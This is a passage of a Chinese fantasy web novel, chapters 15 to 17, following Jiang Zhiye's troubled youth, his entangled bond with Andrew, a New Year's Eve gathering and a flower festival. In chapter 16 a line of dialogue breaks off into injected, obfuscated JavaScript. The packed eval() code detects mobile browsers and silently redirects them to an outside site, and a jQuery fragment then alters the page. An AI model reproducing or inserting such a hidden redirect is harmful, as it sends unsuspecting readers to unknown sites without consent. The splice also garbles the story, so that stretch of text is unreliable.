“原来他们都有想护着的人啊。”白鸽轻声呢喃,他忽然转身扎进人群,任由熙攘的喧嚣淹没眼底的暗涌。 15. 双生刃影 江知烨初入理尚府那年刚满二千三百岁。 而在此之前,他的父亲江晟洹始终是这方衙署的主人——既是手握朱笔的推官,亦是横跨马背的“平叛先锋”队队长。 彼时南清城虽沐盛世荣光,周边山林却总腾起硝烟,江晟洹的银枪染过三十六个族群的血,直到寒磷族一战折戟沉沙,成为他戎马生涯里唯一的裂痕。 少年时的江知烨与如今判若两人。 及膝的银发永远乱如鸦羽,偏不肯束起,任其在风中狂舞如未驯的兽。 他总爱扛着比人还高的红缨枪招摇过市,枪头缨络染着半干的血渍,厌世的眼神像淬了冰,嘴角永远挂着讥讽的弧度,一言不合便掀翻酒肆桌椅,吓得摊贩们远远看见他的银发就急忙收摊。 「江家那疯子」的名号传遍街巷,连三岁孩童夜啼,只要提一句「江小公子来了」,也能立刻噤声。 “那疯子又打人了!”这样的惊呼总能惊飞树上的寒鸦。 江晟洹常常对着儿子闯祸的账单叹气,掌心的老茧擦过案头的《刑律疏议》,终究是揉了揉眉心,让人多送些跌打药去街角医馆。 可谁也没想到,这个人人避之不及的混世魔王,在四百岁就获得了‘纯净真元’,完全褪去兽族的痕迹,格格不入地走在大街上——那是多少修者穷其一生都求不来的天赋,却在他身上成了肆意妄为的底气。 直叫南清城的老学究们捋断三根胡须,连呼「天道不公」。 江晟洹望着儿子眼里流转的微光,不知该喜该忧——他太清楚,纵使再强的天才,这天赋若不加约束,终将成为焚身之火。 可惜上天没给他太多时间管教。 一千九百岁那年,梅雨季的潮气还未浸透青石板,江晟洹便埋骨于寒磷族的诡雾之中。消息传来时,江知烨正在城西赌坊与人角力,红缨枪戳穿了第三张赌桌。 他盯着父亲染血的佩刀,忽然露出癫狂的笑,那笑声惊飞了檐下避雨的燕子,却在无人处化作深夜书房里的碎玉声——次日清晨,人们发现江府的珊瑚笔架碎成齑粉,满地狼藉中唯有一张字迹洇开的宣纸:「杀尽寒磷,方祭父灵」。 那时安德鲁刚从极北之地南下,青衫上还沾着尘土。 他常听茶肆里的说书人摇头叹息:“江家小公子怕是要疯魔了,昨日又打断了三个书生的腿。” 直到那个黏腻的梅雨季午后,他抱着木桶去湖边打水,看见岸边散落的玄色衣袍,以及湖面上半沉半浮的白发少年。 江知烨的下半身已化作蓝灰色的鲨鱼尾,在水中泛着珍珠母贝的光泽,尾鳍轻轻一拍便激起细碎的水花。 他仰躺在水面上,银发如海藻铺散,眼尾猩红似要滴血,却在瞥见岸边人影时,瞳孔骤然缩成危险的竖线。 安德鲁的木桶「哐当」落地,惊起一群红鲤,却在四目相对的刹那,忘了去捡滚落的水瓢——少年眼底翻涌的戾气与孤寂,如同极北冰下暗流,看似狂暴,实则困在永恒的寒冬里。 雨声渐密,打在荷叶上沙沙作响。两个少年隔着三步宽的湖岸对峙,不知过了多久,江知烨忽然嗤笑一声,尾巴重重拍向水面,激起的水花浇湿了安德鲁的青衫。 “看够了?”他扯过岸边的衣袍随意披上,白发滴着水,却在经过安德鲁身侧时,忽然压低声音:“下次再敢盯着我看,就剜了你的眼睛。” 安德鲁望着他踉跄离去的背影,注意到他脚踝处缠着渗血的布条。 湖面上的涟漪渐渐平复,却在他心底荡开一圈圈涟漪。后来他才知道,那日江知烨本想自我了结,却被他不小心打扰,终究没能沉下水底。而他捡起的那截红缨枪穗,终将在未来的岁月里,系住两个灵魂的羁绊。 安德鲁第二次来湖边时,芦苇丛里忽然甩出条湿漉漉的鲨鱼尾,搅碎满池浮萍。江知烨半倚在石头上,白发滴着水,闭着眼睛似乎在休息。 “看够了?”少年咬着根草茎,尾鳍懒洋洋拍向水面,溅起的水珠落在安德鲁发间。 安德鲁慌忙握紧木桶,却见对方突然咧嘴一笑,露出尖利的犬齿——那是捕食者看见猎物时的表情。 “我、我来打水……”安德鲁的声音被雨声打散。江知烨突然甩尾游向他,蓝灰色的尾尖擦过他小腿,木桶瞬间被卷走。 “想要吗?自己来拿。”少年在湖心转圈,尾鳍掀起的波浪推着木桶打转,挑衅地看着岸上的人。 好胜心作祟,安德鲁扯掉外袍跳进水里。可他刚划拉两下,就被浪头灌了满口湖水。鼻腔里涌进咸腥的味道,恍惚间他看见江知烨的瞳孔骤然收缩,鲨鱼尾拍碎水面的声响震得耳膜发疼。 再睁眼时,后背撞上潮湿的岸石,头顶是少年湿漉漉的白发,滴下的水珠砸在他脸上。 “笨死了。”江知烨甩着尾巴坐起来,他的下半身已变成双腿,尾骨处伸出的鲨鱼尾却还在滴水,发片间沾着水草。 安德鲁咳嗽着爬起,忽然发现对方小腿上有道狰狞的伤疤,从膝盖蜿蜒到脚踝,像是被利爪撕开的。 “谢……” “你有病?”江知烨猛地转头,耳尖泛着不自然的红。他从未听过这样的词汇,尤其是从一个没被他吓哭的人口中说出。 安德鲁抹了把脸上的水,认真道:“你救了我,当然要谢。” 少年的喉结滚动两下,突然抓起岸边的外袍往身上套:“无聊。”可尾鳍却在沙地上扫出歪歪扭扭的圈,像只心虚的兽。 安德鲁注意到他系腰带时的动作很生疏,指尖反复勾错带扣,于是伸手帮忙——这是他第一次近距离看江知烨的脸,苍白的皮肤上散布着细小的伤痕,眼睛很漂亮,比玉还透,比水还清。 “下次……”江知烨忽然开口,声音轻得像飘落的雨丝,“想来就来。”说完便起身走进芦苇丛,鲨鱼尾扫过的地方,留下一串湿润的脚印。 从那以后,湖边成了两人的秘密基地。安德鲁会带着干粮和书,坐在石头上给泡在水里的江知烨念《山海经》,讲到烛龙时,少年的尾鳍会兴奋地拍打水面。而江知烨则会教他怎么在水下闭气,怎么吹哨子吸引野鸭。 “笑一个。”某天安德鲁突然伸手捏住江知烨的脸,把他的嘴角往上扯,“像这样,多好看。” 江知烨被捏得皱眉,尾巴啪地甩在他腿上:“丑死了,比哭还难看。”可耳尖却红得要滴血,手指无意识地卷着垂落的白发。 “笑一笑十年少懂不懂?”安德鲁向后一仰,望着棉絮般的云朵在天上慢悠悠漂。 “我又不会老,也不会死。” 安德鲁忽然坐起身,草汁染绿了后腰的布料:“我也不会。所以我们要一直这样,谁都不弄丢谁。”他捡起块碎瓷片,在泥土上画歪歪扭扭的城池,“你说,几千年后会是什么样?” 江知烨望着远处掠过的雁群,想起昨夜在街角听见的议论:“江家那疯子又把人打进医馆了”。 他摸了摸腰间的红缨枪,枪尖还沾着前日斗殴时的血渍:“或许...还是没人敢正眼看我。” “胡说!”安德鲁突然抓住他的手腕,瓷片在泥土上划出闷重的声响,“知烨一定会成为一个很好很好地人的,就像...像你父亲那样!” 提到“父亲”二字,江知烨瞳孔骤缩。 “我父亲...他是英雄。”声音轻得像叹息,尾音却颤得厉害。 那日湖边,他拖着带血的尾鳍爬上岸,听见路人议论江晟洹的银枪折在寒磷族手里,才知道那个总板着脸教他枪法的男人,再也不会回家了。 安德鲁敏锐地捕捉到对方的神情变化,:“他说过什么?” “他说...”江知烨低头盯着自己的掌心,因为长年握枪,长了很多茧,“刀刃要对准罪恶,要成为保护弱者的盾。”他忽然笑了,却是苦涩的弧度,“可我只会用枪伤人。” “所以我们从头学起。”安德鲁将碎瓷片抛向空中,“你教我枪法,我教你读书。等我们站到最高处——”他张开双臂,仿佛要拥抱整个天空,“就能让所有人看见,什么是真正的英雄。” 江知烨望着他发亮的眼睛,像是沾染露水的薰衣草。他抽出腰间的红缨枪,枪尖在泥土上刻下两个歪扭的名字:“先说好,我可不会背书。” “不用背。”安德鲁捡起瓷片,在名字周围画上歪歪扭扭的城墙,“只要记得——”他忽然握住江知烨的手,将掌心相对,“我们要一起走到云上面去。” 风掀起两人的衣角,蒲公英种子纷纷扬扬落在他们相触的掌心。 远处传来牧童的短笛声,惊起的麻雀扑棱棱掠过桂花树,在少年们头顶撒下几片细碎的阳光。 江知烨望着掌心的草汁和泥土,忽然笑了——这次是真正的笑,眼角的阴影被春风揉散,像冰层初融的湖面。 “一起。”他听见自己说,声音里有从未有过的轻快,如同破茧的蝶。 泥土上的名字被风吹得模糊,却有株蒲公英在旁边悄悄扎根。 而安德鲁确实也做到了,暮春的柳絮扑在都察院朱红的门框上,两千一时岁的少年攥着任命文书的手微微发颤,他终于穿上了那身梦寐以求的藏青色官服。檐角铜铃随春风轻响,他转身时带起一片花瓣,正巧跌在江知烨垂落的尾鳍上。 “这是第一步,对吧?”他的眼睛亮得像初升的朝阳,指尖紧紧攥住对方的袖口,“将来我们会站在金銮殿上,俯瞰整个兽人世界。” 江知烨望着远处飘来的风筝,父亲的旧官服还挂在衣柜里,金线绣的獬豸纹早已褪色,他试过三次,每次都被领口的硬衬硌得生疼:“你知道的,我连卷宗都看不懂……” “你父亲能做到的——”安德鲁突然抓住他的肩膀,指节因用力而泛白,“你也能。”他看见江知烨瞬间回避的眼神。 江知烨的喉结滚动,想起昨夜在书房打翻的茶盏。那些写满批注的《刑案汇览》摊在地上,墨迹被水晕开:“我试过了……那些条文像天书。”他猛地转身,白发扫过安德鲁怔愣的脸,“别等我了。” 柳絮粘在安德鲁的睫毛上,他望着那道仓皇离去的白影,直到对方彻底消失在垂杨深处。手中的文书被捏出褶皱,“都察院”三个字被汗水洇成浅灰,宛如江知烨眼底常年不散的青黑。 时光如流水,转眼又是两百年。 暴雨倾盆的深夜,江知烨蜷缩在城西巷子里,雨水混着血水从指缝滴落。眼前的兽人踩着他的红缨枪,靴底的铁钉碾过他的手背,疼得他几乎咬碎后槽牙。 “南清城的天才?”对方捏住他的下巴,指腹擦过他眼角的伤痕,“我在极北冰原见过一百岁就能凝结真元的孩子,你算什么?”腥臭的呼吸喷在脸上,混着雨水灌进喉咙,江知烨看见自己倒映在对方瞳孔里的狼狈模样——白发缠满泥污,尾鳍上的旧伤裂开,露出粉色的嫩肉。 记忆突然闪回小时候那年,父亲握着他的手 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窗纸上映出那人伏案的剪影,毛笔尖在宣纸上沙沙游走,恰似他们年少时在草地上画城池的模样。 江知烨抬起手,想敲敲门,却在指尖触到门板时猛地缩回,他回想起安德鲁穿上官服那日,眼里燃烧的光,而自己现在这副模样,只会让那光熄灭。 远处传来更夫打梆子的声音,第五声梆子响过,天就要亮了。 江知烨咬着牙站起来,鲨鱼尾拖在地上拖出长长的血痕。他不知道该去哪里,只是本能地朝着远离都察院的方向走,每一步都像踩在碎玻璃上。 东方既白时,有人在城门口捡到一块带血的玉牌,獬豸纹上沾着泥污,却依然清晰可辨。 而此刻的江知烨,正沿着护城河漫无目的地走着,望着自己在水面上破碎的倒影,第一次真正明白什么叫“一无所有”。 “又去打架了?”身后的声音像浸了凉水的丝帕,轻轻覆在滚烫的伤口上,江知烨浑身肌肉骤紧。 “没……”他盯着自己沾泥的靴尖,白发垂落遮住泛红的眼尾。安德鲁绕到身前时,他才惊觉对方已比自己高出半头。 “血腥味能引来三条街的野狗。”安德鲁指尖抬起他的下巴,动作轻柔却带着不容抗拒的力道。 喉间突然哽住,像塞了团浸水的棉絮。“对不起……”他听见自己的声音碎成齑粉,“我又搞砸了……”话音未落便被拉入一个带着墨香的怀抱,安德鲁的手掌按在他后颈,另一只手的指腹摩挲着他鲨鱼尾根部的敏感点——那是只有最亲密的人才知道的安抚方式。 “没怪你。”安德鲁的下巴抵着他发顶,声音里掺着叹息,“只是心疼。”这句话像把锈刀,轻轻剜开江知烨早已结痂的伤疤。 “我现在……”江知烨抬头,晨光落在安德鲁棱角分明的眉骨上,“还能子承父业吗?”尾音发颤,像寒风中摇曳的烛火。 安德鲁的瞳孔骤然收缩,指尖掐进他后颈的皮肤:“位子一直给你留着。”他忽然笑了,露出左侧尖牙,“但我需要一艘坚固的战船,而你——”他捏住江知烨的手腕,按在自己胸口,“是唯一能掌舵的人。” 心跳声透过衣料传来,沉稳而有力,像战鼓。 江知烨望着对方眼中跳动的光,年少时在草地上画的城池,那时安德鲁的眼睛也是这样亮,像捧着火种的朝圣者。 “我愿意。” 他听见自己说,掌心的血渍渗进安德鲁的衣襟,开出一朵暗红的花。 回到卧房时,烛火被穿堂风撩得明灭不定。安德鲁从紫檀木柜里抽出一柄软剑:“试试这个。”剑身出鞘时发出清越的鸣响,在江知烨眼底投下冷冽的光。 “可我的红缨枪……” “枪太慢,剑更快。”安德鲁突然贴近,鼻尖几乎碰到他,“你答应过永远相信我,不是吗?”呼吸喷在耳畔,却让江知烨后颈泛起细密的冷汗。 他想起方才在巷子里,那兽人用靴底碾他的枪时,也是这样的语调。 软剑被塞进掌心,剑柄上刻着细小的獬豸纹,刺得掌心发痒。安德鲁忽然抽出腰间匕首,寒光闪过,江知烨后颈一凉,瀑布般的白发断落肩头。 “太长了,容易被抓住把柄。”安德鲁把玩着断发,匕首尖挑起他一缕碎发,“现在你是新的江知烨,属于我的——”他忽然贴近,在他耳边轻笑,“战船。” 镜中映出两张脸:安德鲁的眼底燃着灼人的火,江知烨的眼角还挂着未干的泪,却在对方的注视下慢慢扬起嘴角。 那抹笑生涩得像初开的刺梅,却让安德鲁眼中的火更旺了。 “这才对。”安德鲁用匕首尖抬起他的下巴,语气威胁,“我的好哥哥,要永远记得——”匕首压进对方后颈的皮肤,却未刺破,“你手里的剑,只该为我而挥。” 江知烨望着镜中陌生的自己:齐肩的白发乱如鸦羽,眼中却有了几分锐利。他握紧软剑,剑柄上的獬豸纹硌进掌心,脑海里想起父亲说过的话:“刀刃要对准罪恶。” 只是此刻,他分不清,谁是执刀人,谁又是刀刃下的罪恶。 烛火忽明忽暗,将两人交叠的影子投在墙上,像一幅正在风干的血画。 江知烨听见自己的心跳声,和安德鲁的重合在一起,如同两支缠绕生长的藤蔓,再也分不清彼此。 “我的好哥哥啊.... 你该多笑笑的.....” 16. 碎玉声里忆前尘 雪粒子打在琉璃瓦上沙沙作响时,方妙的熊耳突然竖起。 她踮脚往屋檐下挂灯笼时,忽然听见西厢房传来细碎的声响。 那声音像碎玉落地,又像毛笔尖划过宣纸,带着某种隐秘的熟悉感。 “方妙,发什么呆?”江知烨的声音从身后传来,带着一丝不易察觉的紧张。他倚在门框上,手里转着一根带铃铛的红绳,指节因用力而泛白。 “江大人在藏什么?”方妙歪着头,她注意到江知烨身后的西厢房虚掩着门,门缝里透出一点微光,隐约能看见墙上挂着的卷轴。 那卷轴的边角泛着陈旧的墨色,好像是安德鲁书房里的那幅画像。 “没什么。”江知烨连忙摆手,可是方妙今早分明看见:安德鲁站在书房窗前,手里握着半块碎玉,眼神复杂地望着西厢房的方向。 就在这时,院子里突然传来一阵喧闹。顾时夜和顾夜白兄弟俩闯了进来,怀里抱着的鞭炮噼里啪啦掉在雪地上。 顾夜白兴奋地喊道:“妙妙姐!我们在市集上遇见柳老板了,他说今晚要带“花月满人间”的秘制酱鸭来!” “小点声!”江知烨皱眉,却在提到“柳老板”时,耳尖泛起粉红色。 “江大人,要不要帮忙挂灯笼?”方妙故意扯开话题,将一盏红灯笼塞进江知烨手里。 西厢房的碎玉声突然又响了起来。这次方妙听得真切,那是瓷器碎裂的声音,夹杂着一声压抑的叹息。 她转头望去,只见安德鲁不知何时站在西厢房门口,手里拿着一块碎瓷片,指腹上渗出一线血珠。 “安德鲁!”方妙惊呼,连忙跑过去。 安德鲁迅速将碎瓷片藏在身后,用另一只手轻轻拍了拍她的头:“没事,不小心碰倒了笔洗。”他的语气平静,却掩不住眼底的一丝慌乱。 “需要我帮忙清理吗?”方妙蹲下身,试图捡起地上的碎片,却被安德鲁轻轻拉住。他的手掌覆在她手背上,温度比雪水还要凉:“不用,你去帮江知烨挂灯笼吧。今晚是除夕,别碰这些碎东西。” 方妙站起身,疑惑地看着安德鲁走进西厢房,随手带上了门。她听见门闩落下的声音,像是某种隐喻的闭合。转头时,正看见江知烨望着西厢房的方向,眼神复杂得像积雪下的深潭。 傍晚时分,厨房里飘起了年糕的甜香。方妙挽起袖子揉面,安德鲁站在一旁切菜,刀刃在案板上发出有节奏的声响,与远处传来的鞭炮声交织成奇特的韵律。 “安德鲁,”方妙忽然开口,“江大人的画像……” “嘘——”安德鲁的刀刃顿了顿,“有些过去,就让它留在过去吧。”他的语气轻柔,却带着不容置疑的坚决。 方妙注意到他切菜的手势,那是种极为熟练的刀法,更像是握剑的姿势。 正说着,江知烨带着顾氏兄弟走进厨房。顾时夜手里举着张春联,上面的字迹歪歪扭扭,显然是出自顾夜白之手。 “妙妙姐!看我们写的春联!”顾夜白兴奋地晃着脑袋,“上联是‘瑞雪兆丰年’,下联是‘爆竹迎新春’,横批……”他忽然不好意思地挠挠头,“横批被我写错了,写成‘年新迎竹爆’了。” “笨蛋!”顾时夜敲了敲弟弟的头,“还是我来贴吧!”他转身时,翅膀扫翻了案板上的面粉罐,雪白的面粉顿时像雪片般飞扬起来。 “顾时夜!” 就在这时,院门被推开,柳漠澜的身影出现在暮色中。他穿着一身暗红色的绸衫,外面罩着件狐狸毛领的披风,怀里抱着个食盒。 “江大人,”他笑着打招呼,“给你们送酱鸭来了。” 江知烨连忙接过食盒,手指触到柳漠澜指尖的温度,比他的手还凉。 “柳老板快进来,外面冷。”江知烨侧身让路。 一片雪花落在柳漠澜发间,江知烨伸手替他拂去,动作自然得像是重复过无数次。 柳漠澜抬头看他,眼中闪过一丝复杂的情绪,像是怀念,又像是释然。 厨房里的气氛突然变得微妙起来,方妙假装专注地揉面,耳朵却竖起,捕捉着两人的每一个细微动作。 “今年的雪比往年大。”柳漠澜开口,打破了沉默。 “是啊,”江知烨附和,“不过有你送的酱鸭,这个年应该会很暖。”语气里带着一丝不易察觉的温柔。 柳漠澜笑了,只是笑容里带着些许苦涩。 年夜饭摆上桌子时,烛火已经点燃。方妙数着桌上的菜肴:年糕、酱鸭、安德鲁特制的清蒸鲈鱼等等,还有顾氏兄弟偷偷藏在怀里的糖炒栗子。 “来,”安德鲁坐在主位上,举起酒杯,“祝大家新的一年,平安喜乐。” 众人纷纷举杯,顾夜白却突然指着江知烨的酒杯惊呼:“江大人的酒杯怎么不一样?” 那是只白玉酒杯,杯身上刻着精细的獬豸纹,与西厢房里的碎瓷片纹路相似。江知烨的手顿在半空,脸色微微发白。 “小孩子家家的,别乱问。”柳漠澜轻声呵斥,却在看向江知烨时,眼神里多了几分了然。 “方妙不是一直想看画像吗?”安德鲁忽然开口,打破了尴尬的沉默,“今天是除夕,就拿出来让大家看看吧。” 江知烨猛地抬头,与他对视,眼中闪过一丝惊慌。 “不用了吧……”江知烨的声音有些颤抖,却被顾夜白的欢呼声打断。 “要看要看!”顾氏兄弟齐声喊道,“我们还没见过江大人小时候呢!” 安德鲁站起身,走向书房。江知烨坐在原位,手指紧紧攥着酒杯,指节泛白。 画像展开的那一刻,屋子里响起一片惊叹。画中少年白发及腰,穿着素衣,一手拿着红缨枪,一手比着耶,只是笑的僵硬似乎很不自然。 “这是……”顾夜白小声问,“江大人吗?” “是我一千九时的样子。”江知烨的声音很低,像是从牙缝里挤出来的,他的目光落在画像上的红缨枪上,眼神渐渐变得空洞,像是陷入了回忆的深渊。 安德鲁站在一旁,手中轻轻摩挲着画像的边缘:“那时他总说自己是鲨鱼变的,要游到极北去。” “后来呢?”顾夜白追问。 “后来啊,”声音似乎穿过岁月,“我们学会了造船。” 顾时夜又好奇地问,“那江大人怎么变成现在这样了?” “时夜!”方妙意识不对劲,出声呵斥,却晚了一步。江知烨的身体剧烈颤抖,手中的酒杯“啪”地摔在地上,碎成几片。 烛光照在他脸上,少女这才发现,他的眼角泛着泪光,像是被困在回忆里的困兽。 安德鲁迅速蹲下,捡起碎片。他的手指被划破,血珠滴在江知烨的鞋面上。 “对不起,”他轻声说,“不该在今天提这些。” 江知烨摇摇头,勉强扯出一个笑容:“没事,都过去了。”他站起身,走到窗边,望着窗外的雪景,“现在这样,挺好的。” 柳漠澜起身,走到他身边,轻轻将一件披风披在他肩上:“江大人,外面冷。”两人的身影在窗纸上投下剪影,方妙看见江知烨的肩膀微微放松,像是卸下了某种沉重的负担。 年夜饭后,众人来到院子里放烟花。顾氏兄弟早就等不及了,立刻点燃了一串鞭炮,噼里啪啦的声响中,雪花被震得纷纷扬扬地落下。 “妙儿姐,来放这个!”顾夜白递给她一个莲花形状的烟花,“点着之后会开出很漂亮的花!” 烟花在夜空中绽放,照亮了每个人的脸庞。方妙看见安德鲁站在江知烨身边,两人低声交谈着什么。 柳漠澜倚在门框上,望着天空中的烟花,眼神里带着一丝淡淡的忧伤。 “好看吗?”江知烨的声音从身后传来。方妙转头,看见他手里拿着一个蝴蝶形状的烟花,正微笑着看着她。那笑容温暖而柔和,与画像中的少年判若两人。 “好看!”方妙用力点头,“江大人不觉得吗?” 江知烨抬头望着天空,烟花的光芒映在他眼中,像是碎掉的星辰:“很久没看过这么美的烟花了。”他的语气里带着一丝感慨,“以前在南清城,每到除夕,父亲都会带我去城墙上看烟花。那时的烟花比这个更大更亮,可是……”他的声音渐渐低下去,像是被风雪吹散了。 方妙闻言顿了顿,半晌忍不住开口:“江大人想念父亲吗?” 江知烨身体一震,转头看着她,眼中闪过一丝惊讶。 随即,他轻轻叹了口气,点点头:“以前有时候会想,如果他还在,现在的我会是什么样子。”他的手指无意识地摩挲着袖口,“但现在……很复杂.....” “现在这样也很好啊!”方妙打断他,“安德鲁和柳老板都很关心你,还有我们大家。”她轻轻蹭了蹭江知烨的肩膀,“江大人笑起来的时候,真的很温暖。” 江知烨愣住了,看着方妙认真的表情,忽然笑了。 这次的笑容比以往任何时候都要灿烂,像是冰雪初融的湖面,泛着柔和的光。“谢谢你,方妙。”他轻声说,“或许真的像你说的,现在这样就很好。” 远处传来更夫打梆子的声音,子时就要到了。安德鲁走到众人中间,举起一个巨大的烟花筒:“最后一个烟花,一起放吧。”他的目光扫过每个人,最后停在江知烨身上,“愿我们新的一年,都能得偿所愿。” 烟花升空的那一刻,方妙听见身后传来细碎的脚步声。她转头,看见安德鲁悄悄将一块碎玉塞进江知烨手里。 江知烨握着碎玉,眼中闪过复杂的情绪,最终化作一声叹息,与烟花的光芒一同消散在夜空中。 子时一过,众人陆续回屋休息,柳漠澜也被安排在客房暂住。方妙路过西厢房时,听见里面传来低低的交谈声。她悄悄凑近,听见了安德鲁和江知烨的对话。 “为什么要留着那块碎玉?”江知烨的声音里带着一丝哽咽,“你知道的,父亲已经不是我的.......” “因为那是你的一部分。”安德鲁的声音平静而坚定,“无论是过去的你,还是现在的你,都是真实的你。”他停顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694748|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,“而且,有些真相,不该被永远埋在雪下。” 方妙听见瓷器碰撞的声音,像是那块碎玉被放进了某个盒子里。接着,江知烨轻声说:“你知道吗?今天看到白鸽那样……我好像看到了以前的自己” “我知道。”安德鲁打断他,“但有些过去,该让它过去了。现在的你,也不再是那个只会用枪伤人的少年。” 方妙站在原地思考很久,或许,有些故事不需要说破,就像雪地上的脚印,终会被新雪覆盖,但曾经走过的痕迹,却永远留在那里。 她轻轻离开门口,走到院子里。柳漠澜站在屋檐下,望着月亮,手里握着个小瓶子,方妙认出那是青梅酒。 “柳老板在想什么?”方妙轻声问。 柳漠澜转头,看见方妙,微微一笑:“想起一些陈年旧事。”他晃了晃手中的酒瓶,“要不要喝一口?驱驱寒。” 方妙摇摇头:“安德鲁说小孩子不能多喝酒。” 柳漠澜轻笑:“你还是小孩?不过.....他倒是把你当亲妹妹疼。”他仰头喝了一口酒,“其实啊,安德鲁这个人,表面上温和,骨子里却比谁都固执。他认定的事,十头牛都拉不回来。” “柳老板和安德鲁很熟吗?”方妙忍不住问。 柳漠澜叹了口气:“有点旧事罢了.......”他顿了顿,“算了,过去的事,不提也罢。” “方妙,”柳漠澜忽然说,“有些事,不必急于知道答案。就像这雪,看似冰冷,却孕育着春天的生机。”他伸手替方妙拂去头上的雪花,“好好珍惜现在拥有的,比什么都重要。” 方妙似懂非懂的点了点头,其实道理她懂,不懂的是,这值不值得..... 如果终会失去,那现在的温暖到底好是坏? 四更,书房里烛火摇曳,安德鲁正对着那本古籍蹙眉。书页泛黄,边角卷着陈年的霉斑,却在“真元转化”那一页泛着奇异的光泽。 他的指尖划过一段晦涩的文字,烛火突然剧烈跳动,在墙上投下扭曲的影子:“污秽真元者,需以纯净之体为引,经三劫九难,方得新生……” “安德鲁?”江知烨的声音从门口传来,带着一丝不易察觉的担忧,“又在看这些歪门邪道?” 安德鲁迅速合上书,转身时已换上温和的笑容:“你怎么来了?” 江知烨皱眉,伸手按住他的肩膀:“我知道你想帮她,但古籍里的东西未必可信....." 安德鲁的眼神暗了暗,却很快恢复如常:“只是随便看看。” 深夜,方妙被噩梦惊醒。她蜷缩在床头,眼前不断闪过斑驳的血光。那是她流浪时的记忆:为了一块发霉的面包,她用石头砸破了一个老狼人的头,鲜血溅在雪地上,像朵妖艳的花。 “又做噩梦了?”安德鲁的声音适时从门口传来。他推门而入,随后坐在床边,轻轻替她梳理被冷汗浸湿的头发,“想聊聊吗?” 方妙低头盯着被子,喉咙像被棉花堵住:“我是不是很可怕?” 她想起之前柳漠澜看她时眼里一闪而过的警惕。 安德鲁的手指顿了顿:“你只是太努力想活下去。”他的语气平静,却带着一丝难以察觉的颤抖。 “为什么要帮我?”她轻声问,“我这样的……怪物。” 安德鲁忽然用力抱住她,:“因为你是方妙,是我最重要的家人。”他的下巴抵着她的头顶,声音里带着某种坚定,“相信我,一切都会好起来的。” 可无人知道,书房里那本古籍的书页正无风自动,停在“兽类转化”的章节,配图是一只兽首人身的怪物,利爪上滴着血..... 清晨的阳光透过窗纸,院子里传来顾氏兄弟的笑声,方妙揉着眼睛走出卧房。 “妙妙姐!”顾夜白看见她,兴奋地举起一张纸,“这次我写对了!横批是‘万象更新’!”他的字迹依然歪歪扭扭,却比昨晚工整了许多。 方妙注意到,江知烨握着他的手,指尖在纸上移动的轨迹,与安德鲁昨晚切菜的手势惊人地相似。 有时候她真觉得江知烨和安德鲁好像,可以从任何其中一人身上看到对方的影子。 “方妙,来吃年糕。”安德鲁端着一个热气腾腾的盘子走过来,“今年的年糕加了桂花蜜,你尝尝。”他的语气里带着一丝刻意的轻松,像是要抹去昨晚的沉重。 方妙接过年糕,咬了一口,甜丝丝的桂花蜜在舌尖散开。 或许有些过去注定无法改变,但未来却可以重新书写。 “安德鲁,”方妙忽然说,“明年除夕,我们还一起过吗?” 安德鲁愣了一下,随即露出温暖的笑容:“当然。只要你想,以后每年的除夕,我们都一起过。” “我们是家人,不是吗?” 岁除之夜的烛火虽然熄灭,但新的晨光已经升起。在这片雪地上,一群人用温暖和羁绊,编织出了属于他们的春天。而那些未说出口的秘密,未愈合的伤痕,终将在时光的长河中,被温柔的雪水慢慢抚平。 17. 花朝前夕 立春的风裹着细雪粒掠过青石板街,靴底踩碎最后一片残雪时发出细碎的咔嚓声。巷口老梅树的枝桠探过黛瓦,将疏影投在方妙靛蓝色的棉裙上,鼻尖萦绕的冷香里忽然混进一丝甜腻——是街角糖粥铺新熬的桂花糖霜。 "方妙!"江知烨怀里抱着卷羊皮卷,发梢还沾着几片早樱花瓣,"安德鲁说今年巡游路线要避开南边暗河......"他忽然挑眉,目光落在方妙嘴角的糖渍上,"又偷喝糖粥了?" "要你管。"方妙甩了甩辫子。 远处传来顾夜白的鸦鸣,两只小乌鸦正扑棱着翅膀往城楼上贴花朝节的告示。 白鸽穿着月白色短打,竹篮里的茉莉花沾着晨露,"妙儿姐,挽棠姐姐说今日要裁新的花神裙,让你过去帮忙。" 闻言方妙慌忙用袖口蹭掉嘴角的糖霜,跟着白鸽往苏挽棠的小院跑。 记忆里第一次见到花神的场景突然清晰起来:那年立春,她缩在人群后排,仰望着高楼上的苏挽棠。那位身着百花织就的华裳的少女,背后舒展的蝴蝶翅膀流转着虹彩,腰间银铃轻响时,万千彩蝶自四方涌来。 那时她刚从漠北苦寒之地逃来,从未见过这样的盛景,连指尖都因震惊而微微发颤。 真正与苏挽棠相识,是在城郊的野蔷薇丛。 方妙至今记得那个暮春午后——浅粉襦裙的少女跪坐在花丛中,裙摆沾满草屑,正对着停在指尖的凤蝶轻声说话。 "过来,别怕。"苏挽棠抬眸时,眼尾的朱砂痣像沾了晨露的花瓣,她牵起方妙粗糙的小手,将一只蓝蝶放在她掌心,"听,它振翅是三十八次,触须轻颤三下,那是在说''蔷薇的蜜腺在第三片花瓣''。" 苏挽棠的小院被各色花卉围得严严实实,木香花顺着竹篱攀爬,在院门上织出半透明的花帘。方妙推门时,铜铃发出清脆的响声,惊飞了窗台上的几只粉蝶。 女人正跪坐在廊下绣裙裾,浅粉襦裙上沾着几点草屑,"妙妙来了?"她抬头轻笑,"快看看这牡丹绣得可好?今年想在裙摆上添些开到荼蘼的芍药。" "好看!"方妙凑过去,鼻尖险些碰到锦缎上的露珠纹样。 "春桃刚做了好吃的,给你尝尝。"苏挽棠转身从屋内端出青瓷碗,碗里盛着新熬的桂花糖霜,碗里的糖霜还冒着热气,混着院中栀子花的香,她用银匙舀了一勺递到方妙唇边:"先垫垫肚子,等会儿要帮我裁新布料呢。" 布料是今早刚送来的蜀锦,水红色底纹上绣着含苞的牡丹。 方妙蹲在地上帮忙理线团,手掌不小心蹭到染料盘,雪白的指尖立刻染成玫红。"糟了!"她慌忙用袖口去擦,却把布料也蹭出块污渍。 